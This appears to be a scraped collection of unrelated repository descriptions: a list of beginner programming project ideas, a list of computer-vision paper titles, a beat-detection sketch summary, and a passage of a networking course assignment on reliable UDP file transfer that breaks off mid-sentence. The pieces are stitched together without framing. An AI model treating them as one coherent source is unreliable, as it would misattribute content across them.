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ManojKumarPatnaik
A list of practical projects that anyone can solve in any programming language (See solutions). These projects are divided into multiple categories, and each category has its own folder. To get started, simply fork this repo. CONTRIBUTING See ways of contributing to this repo. You can contribute solutions (will be published in this repo) to existing problems, add new projects, or remove existing ones. Make sure you follow all instructions properly. Solutions You can find implementations of these projects in many other languages by other users in this repo. Credits Problems are motivated by the ones shared at: Martyr2’s Mega Project List Rosetta Code Table of Contents Numbers Classic Algorithms Graph Data Structures Text Networking Classes Threading Web Files Databases Graphics and Multimedia Security Numbers Find PI to the Nth Digit - Enter a number and have the program generate PI up to that many decimal places. Keep a limit to how far the program will go. Find e to the Nth Digit - Just like the previous problem, but with e instead of PI. Enter a number and have the program generate e up to that many decimal places. Keep a limit to how far the program will go. Fibonacci Sequence - Enter a number and have the program generate the Fibonacci sequence to that number or to the Nth number. Prime Factorization - Have the user enter a number and find all Prime Factors (if there are any) and display them. Next Prime Number - Have the program find prime numbers until the user chooses to stop asking for the next one. Find Cost of Tile to Cover W x H Floor - Calculate the total cost of the tile it would take to cover a floor plan of width and height, using a cost entered by the user. Mortgage Calculator - Calculate the monthly payments of a fixed-term mortgage over given Nth terms at a given interest rate. Also, figure out how long it will take the user to pay back the loan. For added complexity, add an option for users to select the compounding interval (Monthly, Weekly, Daily, Continually). Change Return Program - The user enters a cost and then the amount of money given. The program will figure out the change and the number of quarters, dimes, nickels, pennies needed for the change. Binary to Decimal and Back Converter - Develop a converter to convert a decimal number to binary or a binary number to its decimal equivalent. Calculator - A simple calculator to do basic operators. Make it a scientific calculator for added complexity. Unit Converter (temp, currency, volume, mass, and more) - Converts various units between one another. The user enters the type of unit being entered, the type of unit they want to convert to, and then the value. The program will then make the conversion. Alarm Clock - A simple clock where it plays a sound after X number of minutes/seconds or at a particular time. Distance Between Two Cities - Calculates the distance between two cities and allows the user to specify a unit of distance. This program may require finding coordinates for the cities like latitude and longitude. Credit Card Validator - Takes in a credit card number from a common credit card vendor (Visa, MasterCard, American Express, Discoverer) and validates it to make sure that it is a valid number (look into how credit cards use a checksum). Tax Calculator - Asks the user to enter a cost and either a country or state tax. It then returns the tax plus the total cost with tax. Factorial Finder - The Factorial of a positive integer, n, is defined as the product of the sequence n, n-1, n-2, ...1, and the factorial of zero, 0, is defined as being 1. Solve this using both loops and recursion. Complex Number Algebra - Show addition, multiplication, negation, and inversion of complex numbers in separate functions. (Subtraction and division operations can be made with pairs of these operations.) Print the results for each operation tested. Happy Numbers - A happy number is defined by the following process. Starting with any positive integer, replace the number by the sum of the squares of its digits, and repeat the process until the number equals 1 (where it will stay), or it loops endlessly in a cycle which does not include 1. Those numbers for which this process ends in 1 are happy numbers, while those that do not end in 1 are unhappy numbers. Display an example of your output here. Find the first 8 happy numbers. Number Names - Show how to spell out a number in English. You can use a preexisting implementation or roll your own, but you should support inputs up to at least one million (or the maximum value of your language's default bounded integer type if that's less). Optional: Support for inputs other than positive integers (like zero, negative integers, and floating-point numbers). Coin Flip Simulation - Write some code that simulates flipping a single coin however many times the user decides. The code should record the outcomes and count the number of tails and heads. Limit Calculator - Ask the user to enter f(x) and the limit value, then return the value of the limit statement Optional: Make the calculator capable of supporting infinite limits. Fast Exponentiation - Ask the user to enter 2 integers a and b and output a^b (i.e. pow(a,b)) in O(LG n) time complexity. Classic Algorithms Collatz Conjecture - Start with a number n > 1. Find the number of steps it takes to reach one using the following process: If n is even, divide it by 2. If n is odd, multiply it by 3 and add 1. Sorting - Implement two types of sorting algorithms: Merge sort and bubble sort. Closest pair problem - The closest pair of points problem or closest pair problem is a problem of computational geometry: given n points in metric space, find a pair of points with the smallest distance between them. Sieve of Eratosthenes - The sieve of Eratosthenes is one of the most efficient ways to find all of the smaller primes (below 10 million or so). Graph Graph from links - Create a program that will create a graph or network from a series of links. Eulerian Path - Create a program that will take as an input a graph and output either an Eulerian path or an Eulerian cycle, or state that it is not possible. An Eulerian path starts at one node and traverses every edge of a graph through every node and finishes at another node. An Eulerian cycle is an eulerian Path that starts and finishes at the same node. Connected Graph - Create a program that takes a graph as an input and outputs whether every node is connected or not. Dijkstra’s Algorithm - Create a program that finds the shortest path through a graph using its edges. Minimum Spanning Tree - Create a program that takes a connected, undirected graph with weights and outputs the minimum spanning tree of the graph i.e., a subgraph that is a tree, contains all the vertices, and the sum of its weights is the least possible. Data Structures Inverted index - An Inverted Index is a data structure used to create full-text search. Given a set of text files, implement a program to create an inverted index. Also, create a user interface to do a search using that inverted index which returns a list of files that contain the query term/terms. The search index can be in memory. Text Fizz Buzz - Write a program that prints the numbers from 1 to 100. But for multiples of three print “Fizz” instead of the number and for the multiples of five print “Buzz”. For numbers which are multiples of both three and five print “FizzBuzz”. Reverse a String - Enter a string and the program will reverse it and print it out. Pig Latin - Pig Latin is a game of alterations played in the English language game. To create the Pig Latin form of an English word the initial consonant sound is transposed to the end of the word and an ay is affixed (Ex.: "banana" would yield anana-bay). Read Wikipedia for more information on rules. Count Vowels - Enter a string and the program counts the number of vowels in the text. For added complexity have it report a sum of each vowel found. Check if Palindrome - Checks if the string entered by the user is a palindrome. That is that it reads the same forwards as backward like “racecar” Count Words in a String - Counts the number of individual words in a string. For added complexity read these strings in from a text file and generate a summary. Text Editor - Notepad-style application that can open, edit, and save text documents. Optional: Add syntax highlighting and other features. RSS Feed Creator - Given a link to RSS/Atom Feed, get all posts and display them. Quote Tracker (market symbols etc) - A program that can go out and check the current value of stocks for a list of symbols entered by the user. The user can set how often the stocks are checked. For CLI, show whether the stock has moved up or down. Optional: If GUI, the program can show green up and red down arrows to show which direction the stock value has moved. Guestbook / Journal - A simple application that allows people to add comments or write journal entries. It can allow comments or not and timestamps for all entries. Could also be made into a shoutbox. Optional: Deploy it on Google App Engine or Heroku or any other PaaS (if possible, of course). Vigenere / Vernam / Ceasar Ciphers - Functions for encrypting and decrypting data messages. Then send them to a friend. Regex Query Tool - A tool that allows the user to enter a text string and then in a separate control enter a regex pattern. It will run the regular expression against the source text and return any matches or flag errors in the regular expression. Networking FTP Program - A file transfer program that can transfer files back and forth from a remote web sever. Bandwidth Monitor - A small utility program that tracks how much data you have uploaded and downloaded from the net during the course of your current online session. See if you can find out what periods of the day you use more and less and generate a report or graph that shows it. Port Scanner - Enter an IP address and a port range where the program will then attempt to find open ports on the given computer by connecting to each of them. On any successful connections mark the port as open. Mail Checker (POP3 / IMAP) - The user enters various account information include web server and IP, protocol type (POP3 or IMAP), and the application will check for email at a given interval. Country from IP Lookup - Enter an IP address and find the country that IP is registered in. Optional: Find the Ip automatically. Whois Search Tool - Enter an IP or host address and have it look it up through whois and return the results to you. Site Checker with Time Scheduling - An application that attempts to connect to a website or server every so many minute or a given time and check if it is up. If it is down, it will notify you by email or by posting a notice on the screen. Classes Product Inventory Project - Create an application that manages an inventory of products. Create a product class that has a price, id, and quantity on hand. Then create an inventory class that keeps track of various products and can sum up the inventory value. Airline / Hotel Reservation System - Create a reservation system that books airline seats or hotel rooms. It charges various rates for particular sections of the plane or hotel. For example, first class is going to cost more than a coach. Hotel rooms have penthouse suites which cost more. Keep track of when rooms will be available and can be scheduled. Company Manager - Create a hierarchy of classes - abstract class Employee and subclasses HourlyEmployee, SalariedEmployee, Manager, and Executive. Everyone's pay is calculated differently, research a bit about it. After you've established an employee hierarchy, create a Company class that allows you to manage the employees. You should be able to hire, fire, and raise employees. Bank Account Manager - Create a class called Account which will be an abstract class for three other classes called CheckingAccount, SavingsAccount, and BusinessAccount. Manage credits and debits from these accounts through an ATM-style program. Patient / Doctor Scheduler - Create a patient class and a doctor class. Have a doctor that can handle multiple patients and set up a scheduling program where a doctor can only handle 16 patients during an 8 hr workday. Recipe Creator and Manager - Create a recipe class with ingredients and put them in a recipe manager program that organizes them into categories like desserts, main courses, or by ingredients like chicken, beef, soups, pies, etc. Image Gallery - Create an image abstract class and then a class that inherits from it for each image type. Put them in a program that displays them in a gallery-style format for viewing. Shape Area and Perimeter Classes - Create an abstract class called Shape and then inherit from it other shapes like diamond, rectangle, circle, triangle, etc. Then have each class override the area and perimeter functionality to handle each shape type. Flower Shop Ordering To Go - Create a flower shop application that deals in flower objects and use those flower objects in a bouquet object which can then be sold. Keep track of the number of objects and when you may need to order more. Family Tree Creator - Create a class called Person which will have a name, when they were born, and when (and if) they died. Allow the user to create these Person classes and put them into a family tree structure. Print out the tree to the screen. Threading Create A Progress Bar for Downloads - Create a progress bar for applications that can keep track of a download in progress. The progress bar will be on a separate thread and will communicate with the main thread using delegates. Bulk Thumbnail Creator - Picture processing can take a bit of time for some transformations. Especially if the image is large. Create an image program that can take hundreds of images and converts them to a specified size in the background thread while you do other things. For added complexity, have one thread handling re-sizing, have another bulk renaming of thumbnails, etc. Web Page Scraper - Create an application that connects to a site and pulls out all links, or images, and saves them to a list. Optional: Organize the indexed content and don’t allow duplicates. Have it put the results into an easily searchable index file. Online White Board - Create an application that allows you to draw pictures, write notes and use various colors to flesh out ideas for projects. Optional: Add a feature to invite friends to collaborate on a whiteboard online. Get Atomic Time from Internet Clock - This program will get the true atomic time from an atomic time clock on the Internet. Use any one of the atomic clocks returned by a simple Google search. Fetch Current Weather - Get the current weather for a given zip/postal code. Optional: Try locating the user automatically. Scheduled Auto Login and Action - Make an application that logs into a given site on a schedule and invokes a certain action and then logs out. This can be useful for checking webmail, posting regular content, or getting info for other applications and saving it to your computer. E-Card Generator - Make a site that allows people to generate their own little e-cards and send them to other people. Do not use Flash. Use a picture library and perhaps insightful mottos or quotes. Content Management System - Create a content management system (CMS) like Joomla, Drupal, PHP Nuke, etc. Start small. Optional: Allow for the addition of modules/addons. Web Board (Forum) - Create a forum for you and your buddies to post, administer and share thoughts and ideas. CAPTCHA Maker - Ever see those images with letters numbers when you signup for a service and then ask you to enter what you see? It keeps web bots from automatically signing up and spamming. Try creating one yourself for online forms. Files Quiz Maker - Make an application that takes various questions from a file, picked randomly, and puts together a quiz for students. Each quiz can be different and then reads a key to grade the quizzes. Sort Excel/CSV File Utility - Reads a file of records, sorts them, and then writes them back to the file. Allow the user to choose various sort style and sorting based on a particular field. Create Zip File Maker - The user enters various files from different directories and the program zips them up into a zip file. Optional: Apply actual compression to the files. Start with Huffman Algorithm. PDF Generator - An application that can read in a text file, HTML file, or some other file and generates a PDF file out of it. Great for a web-based service where the user uploads the file and the program returns a PDF of the file. Optional: Deploy on GAE or Heroku if possible. Mp3 Tagger - Modify and add ID3v1 tags to MP3 files. See if you can also add in the album art into the MP3 file’s header as well as other ID3v2 tags. Code Snippet Manager - Another utility program that allows coders to put in functions, classes, or other tidbits to save for use later. Organized by the type of snippet or language the coder can quickly lookup code. Optional: For extra practice try adding syntax highlighting based on the language. Databases SQL Query Analyzer - A utility application in which a user can enter a query and have it run against a local database and look for ways to make it more efficient. Remote SQL Tool - A utility that can execute queries on remote servers from your local computer across the Internet. It should take in a remote host, user name, and password, run the query and return the results. Report Generator - Create a utility that generates a report based on some tables in a database. Generates sales reports based on the order/order details tables or sums up the day's current database activity. Event Scheduler and Calendar - Make an application that allows the user to enter a date and time of an event, event notes, and then schedule those events on a calendar. The user can then browse the calendar or search the calendar for specific events. Optional: Allow the application to create re-occurrence events that reoccur every day, week, month, year, etc. Budget Tracker - Write an application that keeps track of a household’s budget. The user can add expenses, income, and recurring costs to find out how much they are saving or losing over a period of time. Optional: Allow the user to specify a date range and see the net flow of money in and out of the house budget for that time period. TV Show Tracker - Got a favorite show you don’t want to miss? Don’t have a PVR or want to be able to find the show to then PVR it later? Make an application that can search various online TV Guide sites, locate the shows/times/channels and add them to a database application. The database/website then can send you email reminders that a show is about to start and which channel it will be on. Travel Planner System - Make a system that allows users to put together their own little travel itinerary and keep track of the airline/hotel arrangements, points of interest, budget, and schedule. Graphics and Multimedia Slide Show - Make an application that shows various pictures in a slide show format. Optional: Try adding various effects like fade in/out, star wipe, and window blinds transitions. Stream Video from Online - Try to create your own online streaming video player. Mp3 Player - A simple program for playing your favorite music files. Add features you think are missing from your favorite music player. Watermarking Application - Have some pictures you want copyright protected? Add your own logo or text lightly across the background so that no one can simply steal your graphics off your site. Make a program that will add this watermark to the picture. Optional: Use threading to process multiple images simultaneously. Turtle Graphics - This is a common project where you create a floor of 20 x 20 squares. Using various commands you tell a turtle to draw a line on the floor. You have moved forward, left or right, lift or drop the pen, etc. Do a search online for "Turtle Graphics" for more information. Optional: Allow the program to read in the list of commands from a file. GIF Creator A program that puts together multiple images (PNGs, JPGs, TIFFs) to make a smooth GIF that can be exported. Optional: Make the program convert small video files to GIFs as well. Security Caesar cipher - Implement a Caesar cipher, both encoding, and decoding. The key is an integer from 1 to 25. This cipher rotates the letters of the alphabet (A to Z). The encoding replaces each letter with the 1st to 25th next letter in the alphabet (wrapping Z to A). So key 2 encrypts "HI" to "JK", but key 20 encrypts "HI" to "BC". This simple "monoalphabetic substitution cipher" provides almost no security, because an attacker who has the encoded message can either use frequency analysis to guess the key, or just try all 25 keys.
USTCPCS
Context Encoding for Semantic Segmentation MegaDepth: Learning Single-View Depth Prediction from Internet Photos LiteFlowNet: A Lightweight Convolutional Neural Network for Optical Flow Estimation PWC-Net: CNNs for Optical Flow Using Pyramid, Warping, and Cost Volume On the Robustness of Semantic Segmentation Models to Adversarial Attacks SPLATNet: Sparse Lattice Networks for Point Cloud Processing Left-Right Comparative Recurrent Model for Stereo Matching Enhancing the Spatial Resolution of Stereo Images using a Parallax Prior Unsupervised CCA Discovering Point Lights with Intensity Distance Fields CBMV: A Coalesced Bidirectional Matching Volume for Disparity Estimation Learning a Discriminative Feature Network for Semantic Segmentation Revisiting Dilated Convolution: A Simple Approach for Weakly- and Semi- Supervised Semantic Segmentation Unsupervised Deep Generative Adversarial Hashing Network Monocular Relative Depth Perception with Web Stereo Data Supervision Single Image Reflection Separation with Perceptual Losses Zoom and Learn: Generalizing Deep Stereo Matching to Novel Domains EPINET: A Fully-Convolutional Neural Network for Light Field Depth Estimation by Using Epipolar Geometry FoldingNet: Interpretable Unsupervised Learning on 3D Point Clouds Decorrelated Batch Normalization Unsupervised Learning of Depth and Egomotion from Monocular Video Using 3D Geometric Constraints PU-Net: Point Cloud Upsampling Network Real-Time Monocular Depth Estimation using Synthetic Data with Domain Adaptation via Image Style Transfer Tell Me Where To Look: Guided Attention Inference Network Residual Dense Network for Image Super-Resolution Reflection Removal for Large-Scale 3D Point Clouds PlaneNet: Piece-wise Planar Reconstruction from a Single RGB Image Fully Convolutional Adaptation Networks for Semantic Segmentation CRRN: Multi-Scale Guided Concurrent Reflection Removal Network DenseASPP: Densely Connected Networks for Semantic Segmentation SGAN: An Alternative Training of Generative Adversarial Networks Multi-Agent Diverse Generative Adversarial Networks Robust Depth Estimation from Auto Bracketed Images AdaDepth: Unsupervised Content Congruent Adaptation for Depth Estimation DeepMVS: Learning Multi-View Stereopsis GeoNet: Unsupervised Learning of Dense Depth, Optical Flow and Camera Pose GeoNet: Geometric Neural Network for Joint Depth and Surface Normal Estimation Single-Image Depth Estimation Based on Fourier Domain Analysis Single View Stereo Matching Pyramid Stereo Matching Network A Unifying Contrast Maximization Framework for Event Cameras, with Applications to Motion, Depth, and Optical Flow Estimation Image Correction via Deep Reciprocating HDR Transformation Occlusion Aware Unsupervised Learning of Optical Flow PAD-Net: Multi-Tasks Guided Prediciton-and-Distillation Network for Simultaneous Depth Estimation and Scene Parsing Surface Networks Structured Attention Guided Convolutional Neural Fields for Monocular Depth Estimation TextureGAN: Controlling Deep Image Synthesis with Texture Patches Aperture Supervision for Monocular Depth Estimation Two-Stream Convolutional Networks for Dynamic Texture Synthesis Unsupervised Learning of Single View Depth Estimation and Visual Odometry with Deep Feature Reconstruction Left/Right Asymmetric Layer Skippable Networks Learning to See in the Dark
kctess5
This sketch combines uses a long term average, a short term average and the summation of the delta between those two to detect beats in music. An FFT splits apart the frequency bands, from that the desired band is isolated and processed. The short term average is compared to the long term average, the the use of a threshold to detect beats. A multiplier is calculated based on the overall volume, and the summation of the delta between the two averages over a relatively long period of time. This adjusts for the different styles of music that require different thresholds.
The aim of this assignment is to have you do UDP socket client / server programming with a focus on two broad aspects : Setting up the exchange between the client and server in a secure way despite the lack of a formal connection (as in TCP) between the two, so that ‘outsider’ UDP datagrams (broadcast, multicast, unicast - fortuitously or maliciously) cannot intrude on the communication. Introducing application-layer protocol data-transmission reliability, flow control and congestion control in the client and server using TCP-like ARQ sliding window mechanisms. The second item above is much more of a challenge to implement than the first, though neither is particularly trivial. But they are not tightly interdependent; each can be worked on separately at first and then integrated together at a later stage. Apart from the material in Chapters 8, 14 & 22 (especially Sections 22.5 - 22.7), and the experience you gained from the preceding assignment, you will also need to refer to the following : ioctl function (Chapter 17). get_ifi_info function (Section 17.6, Chapter 17). This function will be used by the server code to discover its node’s network interfaces so that it can bind all its interface IP addresses (see Section 22.6). ‘Race’ conditions (Section 20.5, Chapter 20) You also need a thorough understanding of how the TCP protocol implements reliable data transfer, flow control and congestion control. Chapters 17- 24 of TCP/IP Illustrated, Volume 1 by W. Richard Stevens gives a good overview of TCP. Though somewhat dated for some things (it was published in 1994), it remains, overall, a good basic reference. Overview This assignment asks you to implement a primitive file transfer protocol for Unix platforms, based on UDP, and with TCP-like reliability added to the transfer operation using timeouts and sliding-window mechanisms, and implementing flow and congestion control. The server is a concurrent server which can handle multiple clients simultaneously. A client gives the server the name of a file. The server forks off a child which reads directly from the file and transfers the contents over to the client using UDP datagrams. The client prints out the file contents as they come in, in order, with nothing missing and with no duplication of content, directly on to stdout (via the receiver sliding window, of course, but with no other intermediate buffering). The file to be transferred can be of arbitrary length, but its contents are always straightforward ascii text. As an aside let me mention that assuming the file contents ascii is not as restrictive as it sounds. We can always pretend, for example, that binary files are base64 encoded (“ASCII armor”). A real file transfer protocol would, of course, have to worry about transferring files between heterogeneous platforms with different file structure conventions and semantics. The sender would first have to transform the file into a platform-independent, protocol-defined, format (using, say, ASN.1, or some such standard), and the receiver would have to transform the received file into its platform’s native file format. This kind of thing can be fairly time consuming, and is certainly very tedious, to implement, with little educational value - it is not part of this assignment. Arguments for the server You should provide the server with an input file server.in from which it reads the following information, in the order shown, one item per line : Well-known port number for server. Maximum sending sliding-window size (in datagram units). You will not be handing in your server.in file. We shall create our own when we come to test your code. So it is important that you stick strictly to the file name and content conventions specified above. The same applies to the client.in input file below. Arguments for the client The client is to be provided with an input file client.in from which it reads the following information, in the order shown, one item per line : IP address of server (not the hostname). Well-known port number of server. filename to be transferred. Receiving sliding-window size (in datagram units). Random generator seed value. Probability p of datagram loss. This should be a real number in the range [ 0.0 , 1.0 ] (value 0.0 means no loss occurs; value 1.0 means all datagrams all lost). The mean µ, in milliseconds, for an exponential distribution controlling the rate at which the client reads received datagram payloads from its receive buffer. Operation Server starts up and reads its arguments from file server.in. As we shall see, when a client communicates with the server, the server will want to know what IP address that client is using to identify the server (i.e. , the destination IP address in the incoming datagram). Normally, this can be done relatively straightforwardly using the IP_RECVDESTADDR socket option, and picking up the information using the ancillary data (‘control information’) capability of the recvmsg function. Unfortunately, Solaris 2.10 does not support the IP_RECVDESTADDR option (nor, incidentally, does it support the msg_flags option in msghdr - see p.390). This considerably complicates things. In the absence of IP_RECVDESTADDR, what the server has to do as part of its initialization phase is to bind each IP address it has (and, simultaneously, its well-known port number, which it has read in from server.in) to a separate UDP socket. The code in Section 22.6, which uses the get_ifi_info function, shows you how to do that. However, there are important differences between that code and the version you want to implement. The code of Section 22.6 binds the IP addresses and forks off a child for each address that is bound to. We do not want to do that. Instead you should have an array of socket descriptors. For each IP address, create a new socket and bind the address (and well-known port number) to the socket without forking off child processes. Creating child processes comes later, when clients arrive. The code of Section 22.6 also attempts to bind broadcast addresses. We do not want to do this. It binds a wildcard IP address, which we certainly do not want to do either. We should bind strictly only unicast addresses (including the loopback address). The get_ifi_info function (which the code in Section 22.6 uses) has to be modified so that it also gets the network masks for the IP addresses of the node, and adds these to the information stored in the linked list of ifi_info structures (see Figure 17.5, p.471) it produces. As you go binding each IP address to a distinct socket, it will be useful for later processing to build your own array of structures, where a structure element records the following information for each socket : sockfd IP address bound to the socket network mask for the IP address subnet address (obtained by doing a bit-wise and between the IP address and its network mask) Report, in a ReadMe file which you hand in with your code, on the modifications you had to introduce to ensure that only unicast addresses are bound, and on your implementation of the array of structures described above. You should print out on stdout, with an appropriate message and appropriately formatted in dotted decimal notation, the IP address, network mask, and subnet address for each socket in your array of structures (you do not need to print the sockfd). The server now uses select to monitor the sockets it has created for incoming datagrams. When it returns from select, it must use recvfrom or recvmsg to read the incoming datagram (see 6. below). When a client starts, it first reads its arguments from the file client.in. The client checks if the server host is ‘local’ to its (extended) Ethernet. If so, all its communication to the server is to occur as MSG_DONTROUTE (or SO_DONTROUTE socket option). It determines if the server host is ‘local’ as follows. The first thing the client should do is to use the modified get_ifi_info function to obtain all of its IP addresses and associated network masks. Print out on stdout, in dotted decimal notation and with an appropriate message, the IP addresses and network masks obtained. In the following, IPserver designates the IP address the client will use to identify the server, and IPclient designates the IP address the client will choose to identify itself. The client checks whether the server is on the same host. If so, it should use the loopback address 127.0.0.1 for the server (i.e. , IPserver = 127.0.0.1). IPclient should also be set to the loopback address. Otherwise it proceeds as follows: IPserver is set to the IP address for the server in the client.in file. Given IPserver and the (unicast) IP addresses and network masks for the client returned by get_ifi_info in the linked list of ifi_info structures, you should be able to figure out if the server node is ‘local’ or not. This will be discussed in class; but let me just remind you here that you should use ‘longest prefix matching’ where applicable. If there are multiple client addresses, and the server host is ‘local’, the client chooses an IP address for itself, IPclient, which matches up as ‘local’ according to your examination above. If the server host is not ‘local’, then IPclient can be chosen arbitrarily. Print out on stdout the results of your examination, as to whether the server host is ‘local’ or not, as well as the IPclient and IPserver addresses selected. Note that this manner of determining whether the server is local or not is somewhat clumsy and ‘over-engineered’, and, as such, should be viewed more in the nature of a pedagogical exercise. Ideally, we would like to look up the server IP address(es) in the routing table (see Section 18.3). This requires that a routing socket be created, for which we need superuser privilege. Alternatively, we might want to dump out the routing table, using the sysctl function for example (see Section 18.4), and examine it directly. Unfortunately, Solaris 2.10 does not support sysctl. Furthermore, note that there is a slight problem with the address 130.245.1.123/24 assigned to compserv3 (see rightmost column of file hosts, and note that this particular compserv3 address “overlaps” with the 130.245.1.x/28 addresses in that same column assigned to compserv1, compserv2 & comserv4). In particular, if the client is running on compserv3 and the server on any of the other three compservs, and if that server node is also being identified to the client by its /28 (rather than its /24) address, then the client will get a “false positive” when it tests as to whether the server node is local or not. In other words, the client will deem the server node to be local, whereas in fact it should not be considered local. Because of this, it is perhaps best simply not to use compserv3 to run the client (but it is o.k. to use it to run the server). Finally, using MSG_DONTROUTE where possible would seem to gain us efficiency, in as much as the kernel does not need to consult the routing table for every datagram sent. But, in fact, that is not so. Recall that one effect of connect with UDP sockets is that routing information is obtained by the kernel at the time the connect is issued. That information is cached and used for subsequent sends from the connected socket (see p.255). The client now creates a UDP socket and calls bind on IPclient, with 0 as the port number. This will cause the kernel to bind an ephemeral port to the socket. After the bind, use the getsockname function (Section 4.10) to obtain IPclient and the ephemeral port number that has been assigned to the socket, and print that information out on stdout, with an appropriate message and appropriately formatted. The client connects its socket to IPserver and the well-known port number of the server. After the connect, use the getpeername function (Section 4.10) to obtain IPserver and the well-known port number of the server, and print that information out on stdout, with an appropriate message and appropriately formatted. The client sends a datagram to the server giving the filename for the transfer. This send needs to be backed up by a timeout in case the datagram is lost. Note that the incoming datagram from the client will be delivered to the server at the socket to which the destination IP address that the datagram is carrying has been bound. Thus, the server can obtain that address (it is, of course, IPserver) and thereby achieve what IP_RECVDESTADDR would have given us had it been available. Furthermore, the server process can obtain the IP address (this will, of course, be IPclient) and ephemeral port number of the client through the recvfrom or recvmsg functions. The server forks off a child process to handle the client. The server parent process goes back to the select to listen for new clients. Hereafter, and unless otherwise stated, whenever we refer to the ‘server’, we mean the server child process handling the client’s file transfer, not the server parent process. Typically, the first thing the server child would be expected to do is to close all sockets it ‘inherits’ from its parent. However, this is not the case with us. The server child does indeed close the sockets it inherited, but not the socket on which the client request arrived. It leaves that socket open for now. Call this socket the ‘listening’ socket. The server (child) then checks if the client host is local to its (extended) Ethernet. If so, all its communication to the client is to occur as MSG_DONTROUTE (or SO_DONTROUTE socket option). If IPserver (obtained in 5. above) is the loopback address, then we are done. Otherwise, the server has to proceed with the following step. Use the array of structures you built in 1. above, together with the addresses IPserver and IPclient to determine if the client is ‘local’. Print out on stdout the results of your examination, as to whether the client host is ‘local’ or not. The server (child) creates a UDP socket to handle file transfer to the client. Call this socket the ‘connection’ socket. It binds the socket to IPserver, with port number 0 so that its kernel assigns an ephemeral port. After the bind, use the getsockname function (Section 4.10) to obtain IPserver and the ephemeral port number that has been assigned to the socket, and print that information out on stdout, with an appropriate message and appropriately formatted. The server then connects this ‘connection’ socket to the client’s IPclient and ephemeral port number. The server now sends the client a datagram, in which it passes it the ephemeral port number of its ‘connection’ socket as the data payload of the datagram. This datagram is sent using the ‘listening’ socket inherited from its parent, otherwise the client (whose socket is connected to the server’s ‘listening’ socket at the latter’s well-known port number) will reject it. This datagram must be backed up by the ARQ mechanism, and retransmitted in the event of loss. Note that if this datagram is indeed lost, the client might well time out and retransmit its original request message (the one carrying the file name). In this event, you must somehow ensure that the parent server does not mistake this retransmitted request for a new client coming in, and spawn off yet another child to handle it. How do you do that? It is potentially more involved than it might seem. I will be discussing this in class, as well as ‘race’ conditions that could potentially arise, depending on how you code the mechanisms I present. When the client receives the datagram carrying the ephemeral port number of the server’s ‘connection’ socket, it reconnects its socket to the server’s ‘connection’ socket, using IPserver and the ephemeral port number received in the datagram (see p.254). It now uses this reconnected socket to send the server an acknowledgment. Note that this implies that, in the event of the server timing out, it should retransmit two copies of its ‘ephemeral port number’ message, one on its ‘listening’ socket and the other on its ‘connection’ socket (why?). When the server receives the acknowledgment, it closes the ‘listening’ socket it inherited from its parent. The server can now commence the file transfer through its ‘connection’ socket. The net effect of all these binds and connects at server and client is that no ‘outsider’ UDP datagram (broadcast, multicast, unicast - fortuitously or maliciously) can now intrude on the communication between server and client. Starting with the first datagram sent out, the client behaves as follows. Whenever a datagram arrives, or an ACK is about to be sent out (or, indeed, the initial datagram to the server giving the filename for the transfer), the client uses some random number generator function random() (initialized by the client.in argument value seed) to decide with probability p (another client.in argument value) if the datagram or ACK should be discarded by way of simulating transmission loss across the network. (I will briefly discuss in class how you do this.) Adding reliability to UDP The mechanisms you are to implement are based on TCP Reno. These include : Reliable data transmission using ARQ sliding-windows, with Fast Retransmit. Flow control via receiver window advertisements. Congestion control that implements : SlowStart Congestion Avoidance (‘Additive-Increase/Multiplicative Decrease’ – AIMD) Fast Recovery (but without the window-inflation aspect of Fast Recovery) Only some, and by no means all, of the details for these are covered below. The rest will be presented in class, especially those concerning flow control and TCP Reno’s congestion control mechanisms in general : Slow Start, Congestion Avoidance, Fast Retransmit and Fast Recovery. Implement a timeout mechanism on the sender (server) side. This is available to you from Stevens, Section 22.5 . Note, however, that you will need to modify the basic driving mechanism of Figure 22.7 appropriately since the situation at the sender side is not a repetitive cycle of send-receive, but rather a straightforward progression of send-send-send-send- . . . . . . . . . . . Also, modify the RTT and RTO mechanisms of Section 22.5 as specified below. I will be discussing the details of these modifications and the reasons for them in class. Modify function rtt_stop (Fig. 22.13) so that it uses integer arithmetic rather than floating point. This will entail your also having to modify some of the variable and function parameter declarations throughout Section 22.5 from float to int, as appropriate. In the unprrt.h header file (Fig. 22.10) set : RTT_RXTMIN to 1000 msec. (1 sec. instead of the current value 3 sec.) RTT_RXTMAX to 3000 msec. (3 sec. instead of the current value 60 sec.) RTT_MAXNREXMT to 12 (instead of the current value 3) In function rtt_timeout (Fig. 22.14), after doubling the RTO in line 86, pass its value through the function rtt_minmax of Fig. 22.11 (somewhat along the lines of what is done in line 77 of rtt_stop, Fig. 22.13). Finally, note that with the modification to integer calculation of the smoothed RTT and its variation, and given the small RTT values you will experience on the cs / sbpub network, these calculations should probably now be done on a millisecond or even microsecond scale (rather than in seconds, as is the case with Stevens’ code). Otherwise, small measured RTTs could show up as 0 on a scale of seconds, yielding a negative result when we subtract the smoothed RTT from the measured RTT (line 72 of rtt_stop, Fig. 22.13). Report the details of your modifications to the code of Section 22.5 in the ReadMe file which you hand in with your code. We need to have a sender sliding window mechanism for the retransmission of lost datagrams; and a receiver sliding window in order to ensure correct sequencing of received file contents, and some measure of flow control. You should implement something based on TCP Reno’s mechanisms, with cumulative acknowledgments, receiver window advertisements, and a congestion control mechanism I will explain in detail in class. For a reference on TCP’s mechanisms generally, see W. Richard Stevens, TCP/IP Illustrated, Volume 1 , especially Sections 20.2 - 20.4 of Chapter 20 , and Sections 21.1 - 21.8 of Chapter 21 . Bear in mind that our sequence numbers should count datagrams, not bytes as in TCP. Remember that the sender and receiver window sizes have to be set according to the argument values in client.in and server.in, respectively. Whenever the sender window becomes full and so ‘locks’, the server should print out a message to that effect on stdout. Similarly, whenever the receiver window ‘locks’, the client should print out a message on stdout. Be aware of the potential for deadlock when the receiver window ‘locks’. This situation is handled by having the receiver process send a duplicate ACK which acts as a window update when its window opens again (see Figure 20.3 and the discussion about it in TCP/IP Illustrated). However, this is not enough, because ACKs are not backed up by a timeout mechanism in the event they are lost. So we will also need to implement a persist timer driving window probes in the sender process (see Sections 22.1 & 22.2 in Chapter 22 of TCP/IP Illustrated). Note that you do not have to worry about the Silly Window Syndrome discussed in Section 22.3 of TCP/IP Illustrated since the receiver process consumes ‘full sized’ 512-byte messages from the receiver buffer (see 3. below). Report on the details of the ARQ mechanism you implemented in the ReadMe file you hand in. Indeed, you should report on all the TCP mechanisms you implemented in the ReadMe file, both the ones discussed here, and the ones I will be discussing in class. Make your datagram payload a fixed 512 bytes, inclusive of the file transfer protocol header (which must, at the very least, carry: the sequence number of the datagram; ACKs; and 